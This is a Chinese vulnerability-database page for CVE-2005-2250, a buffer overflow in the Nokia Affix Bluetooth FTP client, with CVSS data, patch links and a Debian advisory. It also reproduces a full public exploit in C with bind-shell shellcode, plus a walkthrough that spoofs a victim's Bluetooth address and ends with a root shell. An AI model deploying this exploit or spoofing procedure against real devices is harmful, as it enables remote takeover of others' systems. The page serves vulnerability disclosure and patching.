CVE-2005-2250
CVSS7.5
发布时间 :2005-07-13 00:00:00
修订时间 :2008-09-05 16:51:16
NMCOEPS    

[原文]Buffer overflow in Bluetooth FTP client (BTFTP) in Nokia Affix 2.1.2 and 3.2.0 allows remote attackers to execute arbitrary code via a long filename in an OBEX file share.


[CNNVD]Nokia Affix btftp 缓冲区溢出漏洞(CNNVD-200507-160)

        Affix是Nokia研究中心开发的Linux蓝牙协议栈,支持核心蓝牙协议及各种蓝牙配置文件。
        Nokia Affix 2.1.2及3.2.0中btftp客户端软件存在缓冲区溢出溢出漏洞。
        远程攻击者可以在OBEX文件共享中使用超长文件名,利用此漏洞执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:nokia:affix:3.0Nokia Affix 3.0
cpe:/a:nokia:affix:2.0.2Nokia Affix 2.0.2
cpe:/a:nokia:affix:2.0.1Nokia Affix 2.0.1
cpe:/a:nokia:affix:2.1.2Nokia Affix 2.1.2
cpe:/a:nokia:affix:3.1Nokia Affix 3.1
cpe:/a:nokia:affix:2.1Nokia Affix 2.1
cpe:/a:nokia:affix:3.2.0Nokia Affix 3.2.0
cpe:/a:nokia:affix:2.0Nokia Affix 2.0
cpe:/a:nokia:affix:2.1.1Nokia Affix 2.1.1
cpe:/a:nokia:affix:2.3.0Nokia Affix 2.3.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2250
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-2250
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200507-160
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/14230
(PATCH)  BID  14230
http://affix.sourceforge.net/affix_212_sec.patch
(PATCH)  CONFIRM  http://affix.sourceforge.net/affix_212_sec.patch
http://www.digitalmunition.com/DMA%5B2005-0712a%5D.txt
(VENDOR_ADVISORY)  MISC  http://www.digitalmunition.com/DMA%5B2005-0712a%5D.txt
http://www.debian.org/security/2005/dsa-762
(UNKNOWN)  DEBIAN  DSA-762

- 漏洞信息

Nokia Affix btftp 缓冲区溢出漏洞
高危 缓冲区溢出
2005-07-13 00:00:00 2005-10-20 00:00:00
远程  
        Affix是Nokia研究中心开发的Linux蓝牙协议栈,支持核心蓝牙协议及各种蓝牙配置文件。
        Nokia Affix 2.1.2及3.2.0中btftp客户端软件存在缓冲区溢出溢出漏洞。
        远程攻击者可以在OBEX文件共享中使用超长文件名,利用此漏洞执行任意代码。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        http://affix.sourceforge.net/

- 漏洞信息 (1081)

Nokia Affix < 3.2.0 btftp Remote Client Exploit (EDBID:1081)
hardware remote
2005-07-03 Verified
0 Kevin Finisterre
N/A [点击下载]
/*

- Tools you will probably need:
- http://www.digitalmunition.com/setbd-affix.c
- KF is one bad mofo /str0ke

Remote Nokia Affix btftp client exploit
by kf_lists[at]secnetops[dot]com

threat:~# btftp
Affix version: Affix 2.1.1
Wellcome to OBEX ftp. Type ? for help.
Mode: Bluetooth
SDP: yes
ftp>  open 00:04:3e:65:a1:c8
Connected.
ftp> ls
Z8Á¾ýÞ)á½Tnb    6               uûÿ¿uûÿ¿3ÉéëèÿÿÿÿÀ^vî0^îüâô¨5?Ê24ÿ¶©×?#°ÈÚ¼V6²V
           Ï­¹¿)ýÞ
ýÞÑýÞÐÉî¼Xq¶X6¶Y0

----------------------

root@frieza:/var/spool/affix/Inbox# telnet 192.168.1.207 4444
Trying 192.168.1.207...
Connected to 192.168.1.207.
Escape character is '^]'.
id;
uid=0(root) gid=0(root) groups=0(root)
: command not found
hostname;
threat
: command not found



*/

#include <stdio.h>
#include <strings.h>
main()
{
       FILE *malfile;

       /* linux_ia32_bind - LPORT=4444 Size=108 Encoder=Pex http://metasploit.com */
       unsigned char scode[] =
       "\x33\xc9\x83\xe9\xeb\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x99"
       "\xee\x30\x5e\x83\xee\xfc\xe2\xf4\xa8\x35\x63\x1d\xca\x84\x32\x34"
       "\xff\xb6\xa9\xd7\x78\x23\xb0\xc8\xda\xbc\x56\x36\x88\xb2\x56\x0d"
       "\x10\x0f\x5a\x38\xc1\xbe\x61\x08\x10\x0f\xfd\xde\x29\x88\xe1\xbd"
       "\x54\x6e\x62\x0c\xcf\xad\xb9\xbf\x29\x88\xfd\xde\x0a\x84\x32\x07"
       "\x29\xd1\xfd\xde\xd0\x97\xc9\xee\x92\xbc\x58\x71\xb6\x9d\x58\x36"
       "\xb6\x8c\x59\x30\x10\x0d\x62\x0d\x10\x0f\xfd\xde";

       char buf[1024];
       memset(buf,'\0',sizeof(buf));
       memset(buf,'\x90',94);
       strcat(buf+94,"\x75\xfb\xff\xbf");
       strcat(buf+98,"\x75\xfb\xff\xbf");
       memset(buf+102,'\x90',40);
       strcat(buf+142,scode);

       if(!(malfile = fopen(buf,"w+"))) {
               printf("error opening file\n");
               exit(1);
       }

       fprintf(malfile, "pwned\n" );
       fclose(malfile);

}


/*
First lets find someone to impersonate.

root@frieza:~# btctl discovery
Searching 8 sec ...
Searching done. Resolving names ...
done.
+1: Address: 00:0c:76:46:f0:21, Class: 0xB20104, Key: "no", Name: "threat"
   Computer (Desktop) [Networking,Object Transfer,Audio,Information]
+2: Address: 00:10:60:29:4f:f1, Class: 0x420210, Key: "no", Name: "Bluetooth Modem"
   Phone (Wired Modem/VoiceGW) [Networking,Telephony]
+3: Address: 00:04:3e:65:a1:c8, Class: 0x120110, Key: "no", Name: "Pocket_PC"
   Computer (Handheld PC/PDA) [Networking,Object Transfer]

Lets pretend to be some poor chaps PDA.

root@frieza:~# ./setbd-affix 00:04:3e:65:a1:c8
Using BD_ADDR from command line
Setting BDA to 00:04:3e:65:a1:c8

root@frieza:~# btctl
bt0     01:02:03:04:05:06
       Flags: UP DISC CONN
       RX: acl:159 sco:0 event:97 bytes:4810 errors:0 dropped:0
       TX: acl:168 sco:0 cmd:29 bytes:19267 errors:0 dropped:0
       Security: service pair [-auth, -encrypt]
       Packets: DM1 DH1 DM3 DH3 DM5 DH5 HV1 HV3
       Role: deny switch, remain slave

root@frieza:~# btctl reset
root@frieza:~# btctl down
root@frieza:~# btctl up
btctl: cmd_initdev: Unable to start device (bt0)
root@frieza:~# btctl up
root@frieza:~# btctl
bt0     00:04:3e:65:a1:c8
       Flags: UP DISC CONN
       RX: acl:159 sco:0 event:126 bytes:5796 errors:0 dropped:0
       TX: acl:168 sco:0 cmd:52 bytes:19885 errors:0 dropped:0
       Security: service pair [-auth, -encrypt]
       Packets: DM1 DH1 DM3 DH3 DM5 DH5 HV1 HV3
       Role: deny switch, remain slave

root@frieza:~# btctl name "Pocket_PC"

God I love my ROK chip!

Wait for the poor chap to use his affix btftp to connect to his Pocket_PC.
Hopefully his bluetooth stack confuses us for his PDA.

Obviously you need to find out the general area of your shellcode and fix the exploit accordingly.

0xbffffb70:      '\220' <repeats 40 times>,
"3É\203éëèÿÿÿÿÀ^\201v\016\231î0^\203îüâô¨5c\035Ê\20424ÿ¶©×x#°ÈÚ¼V6\210²V\r\020\017Z8Á¾a\b\020\017ýÞ)\210á½Tnb\fÏ­¹¿)\210ýÞ\n\2042\a)ÑýÞÐ\227Éî\222¼Xq¶\235X6¶\214Y0\020\rb\r\020\017ýÞ"

root@frieza:/var/spool/affix/Inbox# pico ../btftp-ex.c
root@frieza:/var/spool/affix/Inbox# cc -o ../btftp-ex ../btftp-ex.c
root@frieza:/var/spool/affix/Inbox# ../btftp-ex

Verify that a nice long file name is left behind.
root@frieza:/var/spool/affix/Inbox# ls
??????????????????????????????????????????????????????????????????????????????????????????????u???u???????????????????????????????????????????3??????????^?v???0^??????5c???24????x#????V6??V???Z8??a?????)???Tnb?????)?????2?)?????????Xq??X6??Y0??b?????

Start up the bluetooth services.
root@frieza:/etc/affix# btsrv -C ./btsrv.conf
btsrv: main: btsrv started [Affix 2.1.2].
btsrv: start_service: Bound service Serial Port to port 1
btsrv: start_service: Bound service Dialup Networking to port 2
btsrv: start_service: Bound service Dialup Networking Emulation to port 3
btsrv: start_service: Bound service Fax Service to port 4
btsrv: start_service: Bound service LAN Access to port 5
btsrv: start_service: Bound service OBEX File Transfer to port 6
btsrv: start_service: Bound service OBEX Object Push to port 7
btsrv: start_service: Bound service Headset to port 8
btsrv: start_service: Bound service HeadsetAG to port 9
btsrv: start_service: Bound service HandsFree to port 10
btsrv: start_service: Bound service HandsFreeAG to port 11

Wait for the person to connect to your device and attempt to perform a file listing.
This of course will trigger the overflow and execute your shellcode
threat:~# btftp
Affix version: Affix 2.1.1
Wellcome to OBEX ftp. Type ? for help.
Mode: Bluetooth
SDP: yes
ftp>  open 00:04:3e:65:a1:c8
Connected.
ftp> ls
Z8Á¾ýÞ)á½Tnb    6               uûÿ¿uûÿ¿3ÉéëèÿÿÿÿÀ^vî0^îüâô¨5?Ê24ÿ¶©×?#°ÈÚ¼V6²V
           Ï­¹¿)ýÞ
ýÞÑýÞÐÉî¼Xq¶X6¶Y0

You can tell when they have connected via the following log file entries.

btsrv: handle_input: Connection from 00:02:01:44:ad:99
channel 6 (OBEX File Transfer Profile)
btsrv: execute_cmd: Socket multiplexed to stdin/stdout
btsrv: signal_handler: Sig handler : 2

After they have done so you will use the PAND connection you already hacked to obtain your shell. =]
Or perhaps write some bluetooth aware shellcode.

root@frieza:/var/spool/affix/Inbox# telnet 192.168.1.207 4444
Trying 192.168.1.207...
Connected to 192.168.1.207.
Escape character is '^]'.
id;
uid=0(root) gid=0(root) groups=0(root)
: command not found
hostname;
threat
: command not found
*/

// milw0rm.com [2005-07-03]
		

- 漏洞信息 (F38768)

Debian Linux Security Advisory 762-1 (PacketStormID:F38768)
2005-07-19 00:00:00
Debian  security.debian.org
advisory,protocol
linux,debian
CVE-2005-2250,CVE-2005-2277
[点击下载]

Debian Security Advisory DSA 762-1 - Kevin Finisterre discovered two problems in the Bluetooth FTP client from affix, user space utilities for the Affix Bluetooth protocol stack.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- --------------------------------------------------------------------------
Debian Security Advisory DSA 762-1                     security@debian.org
http://www.debian.org/security/                             Martin Schulze
July 19th, 2005                         http://www.debian.org/security/faq
- --------------------------------------------------------------------------

Package        : affix
Vulnerability  : several
Problem-Type   : remote
Debian-specific: no
CVE ID         : CAN-2005-2250 CAN-2005-2277
BugTraq ID     : 14230
Debian Bug     : 318327 318328

Kevin Finisterre discovered two problems in the Bluetooth FTP client
from affix, user space utilities for the Affix Bluetooth protocol
stack.  The Common Vulnerabilities and Exposures project identifies
the following vulnerabilities:

CAN-2005-2250

    A buffer overflow allows remote attackers to execute arbitrary
    code via a long filename in an OBEX file share.

CAN-2005-2277

    Missing input sanitising before executing shell commands allow an
    attacker to execute arbitrary commands as root.

The old stable distribution (woody) is not affected by these problems.

For the stable distribution (sarge) these problems have been fixed in
version 2.1.1-2.

For the unstable distribution (sid) these problems have been fixed in
version 2.1.2-2.

We recommend that you upgrade your affix package.


Upgrade Instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 3.1 alias sarge
- --------------------------------

  Source archives:

    http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2.dsc
      Size/MD5 checksum:      669 bb24e5747a984193075e7ad2cde94bd2
    http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2.diff.gz
      Size/MD5 checksum:    81326 c1e434ed0667a4e0f60d6e8f431fbc11
    http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1.orig.tar.gz
      Size/MD5 checksum:   415816 34af8e6b1d20d99d01427f7da5c777ef

  Alpha architecture:

    http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_alpha.deb
      Size/MD5 checksum:   103006 d897078ef26ac210835785a60f63ba40
    http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1.1-2_alpha.deb
      Size/MD5 checksum:    93410 d606fe680c82300c17f821ab0238517d
    http://security.debian.org/pool/updates/main/a/affix/libaffix2_2.1.1-2_alpha.deb
      Size/MD5 checksum:    75560 50dd674ab6f58b456152bd65232ef486

  ARM architecture:

    http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_arm.deb
      Size/MD5 checksum:    85840 47fe949ac3eaf11e40785d535df13de5
    http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1.1-2_arm.deb
      Size/MD5 checksum:    69494 17cbdd22f998e972d6d3719509766f1c
    http://security.debian.org/pool/updates/main/a/affix/libaffix2_2.1.1-2_arm.deb
      Size/MD5 checksum:    56790 a1f04650c5e0f086e95a3c90d87f0a14

  Intel IA-32 architecture:

    http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_i386.deb
      Size/MD5 checksum:    84860 7f5b869acb23ff4d03074e72c5848972
    http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1.1-2_i386.deb
      Size/MD5 checksum:    63308 c6931e79eb3f8ab121a6211bcb09d71c
    http://security.debian.org/pool/updates/main/a/affix/libaffix2_2.1.1-2_i386.deb
      Size/MD5 checksum:    59606 2b52f0d5ce8c700b50a2119c70e38330

  Intel IA-64 architecture:

    http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_ia64.deb
      Size/MD5 checksum:   122082 e674b494cc0738be0ca67fe58e6fd366
    http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1.1-2_ia64.deb
      Size/MD5 checksum:    93876 40a4a3b972b76d84839b22ec0047a1de
    http://security.debian.org/pool/updates/main/a/affix/libaffix2_2.1.1-2_ia64.deb
      Size/MD5 checksum:    83630 c5af3eee5c18f3783d306bfcf2e6a3cf

  HP Precision architecture:

    http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_hppa.deb
      Size/MD5 checksum:    94884 f1fc0e6bd41671594f4ee434cad99505
    http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1.1-2_hppa.deb
      Size/MD5 checksum:    76596 e1f3ed8b636875f9dfb744b71af2f172
    http://security.debian.org/pool/updates/main/a/affix/libaffix2_2.1.1-2_hppa.deb
      Size/MD5 checksum:    68508 a3312999b8c7fea595e12a67b8d10640

  Motorola 680x0 architecture:

    http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_m68k.deb
      Size/MD5 checksum:    79808 d2e87f6c2ccb4f8b47c863e0d487d80b
    http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1.1-2_m68k.deb
      Size/MD5 checksum:    58412 b118a825ac9844a648fe576389b3900c
    http://security.debian.org/pool/updates/main/a/affix/libaffix2_2.1.1-2_m68k.deb
      Size/MD5 checksum:    54900 6dea7ad75560dda0689e77b0325df561

  Big endian MIPS architecture:

    http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_mips.deb
      Size/MD5 checksum:    97384 c29b563a1f965492e4a50fe0f563ae67
    http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1.1-2_mips.deb
      Size/MD5 checksum:    76390 f0cc63d8b1cecdf0dc2947800e2f2452
    http://security.debian.org/pool/updates/main/a/affix/libaffix2_2.1.1-2_mips.deb
      Size/MD5 checksum:    61332 ecb60a17b182d2a2324f329c5a7564da

  Little endian MIPS architecture:

    http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_mipsel.deb
      Size/MD5 checksum:    97114 719915fc14b4892bc0f7bc5d5158cf46
    http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1.1-2_mipsel.deb
      Size/MD5 checksum:    76264 af38e4dc83f10cce8d5cee6da728be1b
    http://security.debian.org/pool/updates/main/a/affix/libaffix2_2.1.1-2_mipsel.deb
      Size/MD5 checksum:    60964 51af51daffb9106b7a882ac60ce603eb

  PowerPC architecture:

    http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_powerpc.deb
      Size/MD5 checksum:    94696 b2ffdb13a801392080093183099f564d
    http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1.1-2_powerpc.deb
      Size/MD5 checksum:    70040 3beda3ff644615921cb6f70670c0a712
    http://security.debian.org/pool/updates/main/a/affix/libaffix2_2.1.1-2_powerpc.deb
      Size/MD5 checksum:    65412 a05f1b318e88ce0f152558ed6919632f

  IBM S/390 architecture:

    http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_s390.deb
      Size/MD5 checksum:    92346 bbb62a4e6378d311414ee0740e94b712
    http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1.1-2_s390.deb
      Size/MD5 checksum:    72978 364b0841f0806b6cfdf4f1b10b3d270b
    http://security.debian.org/pool/updates/main/a/affix/libaffix2_2.1.1-2_s390.deb
      Size/MD5 checksum:    66764 41c5dad2e40c6771b6179b5567b39681

  Sun Sparc architecture:

    http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_sparc.deb
      Size/MD5 checksum:    84660 021fa0ec494ff7066f79ef40475ad5dd
    http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1.1-2_sparc.deb
      Size/MD5 checksum:    66050 b450abbd6079f564c4c285eeec220434
    http://security.debian.org/pool/updates/main/a/affix/libaffix2_2.1.1-2_sparc.deb
      Size/MD5 checksum:    57714 e09e4599c7bfc96493d0d6185d8c0ca0


  These files will probably be moved into the stable distribution on
  its next update.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce@lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)

iD8DBQFC3LZJW5ql+IAeqTIRAvIJAKCfkBt30ujIJ1iquSTZi18Dbb4VPQCgu5Qb
wnDST7zQnsC5v/OrpYR2uGU=
=1V9D
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
    

- 漏洞信息

17852
Affix btftp Client OBEX File Share Filename Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A remote overflow exists in Affix bluetooth btftp client. The Affix bluetooth btftp client fails to handle long filenames resulting in a buffer overflow. With a specially crafted filename, an attacker can cause arbitrary code execution on the client resulting in a loss of integrity.

- 时间线

2005-07-12 Unknow
2005-07-05 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Carlos Chinea has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

- 漏洞信息

Nokia Affix BTFTP Client Filename Remote Buffer Overflow Vulnerability
Boundary Condition Error 14230
Yes No
2005-07-12 12:00:00 2009-07-12 04:06:00
Discovery of this issue is credited to Kevin Finisterre.

- 受影响的程序版本

Nokia Affix 3.2
Nokia Affix 3.1
Nokia Affix 3.0
Nokia Affix 2.1.2
Nokia Affix 2.1.1
- Debian Linux 3.1 sparc
- Debian Linux 3.1 s/390
- Debian Linux 3.1 ppc
- Debian Linux 3.1 mipsel
- Debian Linux 3.1 mips
- Debian Linux 3.1 m68k
- Debian Linux 3.1 ia-64
- Debian Linux 3.1 ia-32
- Debian Linux 3.1 hppa
- Debian Linux 3.1 arm
- Debian Linux 3.1 amd64
- Debian Linux 3.1 alpha
- Debian Linux 3.1
Nokia Affix 2.1
- Debian Linux 3.1 sparc
- Debian Linux 3.1 s/390
- Debian Linux 3.1 ppc
- Debian Linux 3.1 mipsel
- Debian Linux 3.1 mips
- Debian Linux 3.1 m68k
- Debian Linux 3.1 ia-64
- Debian Linux 3.1 ia-32
- Debian Linux 3.1 hppa
- Debian Linux 3.1 arm
- Debian Linux 3.1 alpha
- Debian Linux 3.1
Nokia Affix 2.0.2
Nokia Affix 2.0.1
Nokia Affix 2.0
Debian Linux 3.1 sparc
Debian Linux 3.1 s/390
Debian Linux 3.1 ppc
Debian Linux 3.1 mipsel
Debian Linux 3.1 mips
Debian Linux 3.1 m68k
Debian Linux 3.1 ia-64
Debian Linux 3.1 ia-32
Debian Linux 3.1 hppa
Debian Linux 3.1 arm
Debian Linux 3.1 amd64
Debian Linux 3.1 alpha
Debian Linux 3.1

- 漏洞讨论

The Nokia Affix btftp client software is prone to a remote client-side buffer overflow vulnerability. The issue exists due to a lack of sufficient boundary checks that are performed on filename data before this data is copied into a finite memory buffer.

This issue may be exploited by an attacker that is under control of an OBEX File Transfer server, to execute arbitrary code in the context of the affected clients that connect to the malicious server, and request a directory listing.

- 漏洞利用

Currently we are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com &lt;mailto:vuldb@securityfocus.com&gt;.

- 解决方案

Debian has released advisory DSA 762-1 to address this issue. Please see the attached advisory for details on obtaining and applying fixes.

Debian has released security advisory DSA 773-1 addressing several issues for their AMD64 port of the operating system. Please see the referenced advisory for further information.

The vendor has released patches:


Nokia Affix 2.1

Nokia Affix 2.1.1

Nokia Affix 2.1.2

Nokia Affix 3.2

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站